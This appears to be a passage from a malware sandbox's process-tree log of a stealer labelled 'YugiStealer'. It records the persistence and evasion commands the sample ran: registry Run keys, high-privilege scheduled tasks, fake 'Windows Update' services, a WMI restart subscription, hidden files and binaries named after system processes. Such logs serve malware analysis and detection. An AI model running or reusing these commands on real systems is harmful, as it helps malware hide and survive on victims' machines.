    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f
    3⤵
    - Modifies registry key
    PID:4924
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f"
  2⤵
  PID:5348
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7.exe\" /f
    3⤵
    - Modifies registry key
    PID:5204
- C:\Windows\Temp\PVgNmigJ\TraumatizerV3.exe
  "C:\Windows\Temp\PVgNmigJ\TraumatizerV3.exe"
  2⤵
  PID:6548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:6776
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs
  2⤵
  PID:3292
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:4396
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:2816
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:7032
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:5204
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:996
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4192
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs"
      4⤵
      PID:4856
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6304
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1724
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs"
      4⤵
      PID:7600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\PVgNmigJ\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:408
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192651.bat"
    3⤵
    PID:10672
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:9932
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:8352
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10208
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:9448
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:11724
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5156
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:12144
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:9236
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:13172
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:6624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:6592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Users\Admin\Downloads\TraumatizerV3.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"
    3⤵
    PID:4204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"
    3⤵
    PID:6420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"
    3⤵
    PID:1228
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f
    3⤵
    PID:7580
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Users\Admin\AppData\Local\Temp\windows_update_task.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7928
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask
    3⤵
    PID:4544
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdateService
    3⤵
    - Launches sc.exe
    PID:7836
- - C:\Windows\system32\cmd.exe
    cmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""
    3⤵
    PID:8196
  - - C:\Windows\system32\sc.exe
      sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"
      4⤵
      Launches sc.exe
      PID:8396
- - C:\Windows\system32\cmd.exe
    cmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""
    3⤵
    PID:8636
  - - C:\Windows\system32\sc.exe
      sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"
      4⤵
      Launches sc.exe
      PID:8984
- - C:\Windows\system32\cmd.exe
    cmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    PID:7152
  - - C:\Windows\system32\sc.exe
      sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000
      4⤵
      Launches sc.exe
      PID:7832
- - C:\Windows\system32\cmd.exe
    cmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"
    3⤵
    PID:8272
  - - C:\Windows\system32\sc.exe
      sc config \"WindowsUpdateService\" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:1056
- - C:\Windows\system32\cmd.exe
    cmd /C "sc config \"WindowsUpdateService\" type= own"
    3⤵
    PID:8084
  - - C:\Windows\system32\sc.exe
      sc config \"WindowsUpdateService\" type= own
      4⤵
      Launches sc.exe
      PID:8660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:8976
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdateService
    3⤵
    - Launches sc.exe
    PID:6424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"
    3⤵
    PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:2940
- - C:\Windows\system32\taskkill.exe
    taskkill /PID 7532 /F
    3⤵
    - Kills process with taskkill
    PID:7288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 7532 -Force -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:8160
- - C:\Windows\system32\taskkill.exe
    taskkill /PID 8292 /F
    3⤵
    - Kills process with taskkill
    PID:7504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8292 -Force -ErrorAction SilentlyContinue"
    3⤵
    PID:5156
- - C:\Windows\system32\taskkill.exe
    taskkill /PID 9444 /F
    3⤵
    - Kills process with taskkill
    PID:11960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 9444 -Force -ErrorAction SilentlyContinue"
    3⤵
    PID:4588
- - C:\Windows\system32\taskkill.exe
    taskkill /PID 9548 /F
    3⤵
    - Kills process with taskkill
    PID:12488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 9548 -Force -ErrorAction SilentlyContinue"
    3⤵
    PID:11964
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:4444
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:6648
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6204
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6848
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:1192
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6724
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6348
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:4592
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:2892
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6492
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:7556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:8152
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192650.bat"
    3⤵
    PID:10732
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:7752
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:2128
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:7664
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:5212
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:11540
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10844
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:11020
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8376
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:13216
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:2696
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:5000

C:\Windows\Temp\winlogon.exe
"C:\Windows\Temp\winlogon.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4336
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2696
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:256
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3476
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:3848
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:692
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2716
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest
    3⤵
    PID:2704
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\winlogon.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\winlogon.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3368
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto"
  2⤵
  PID:5696
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:5672
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:840
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"
  2⤵
  PID:4156
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:2000
- C:\Windows\Temp\uVLylLJg\TraumatizerV3.exe
  "C:\Windows\Temp\uVLylLJg\TraumatizerV3.exe"
  2⤵
  PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:3500
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs
  2⤵
  PID:4680
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:1524
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:4972
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6420
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:6760
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2996
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1564
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:4924
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:2324
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6772
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:6500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\uVLylLJg\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:6464
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_192642.bat"
    3⤵
    PID:1552
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:9392
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7264
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:10356
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:8968
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7912
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:10536
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      PID:9824
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&1
    3⤵
    PID:7408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9248
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"
      4⤵
      Views/modifies file attributes
      PID:9240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:6452
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:5116
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:5440
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6540
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6580
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
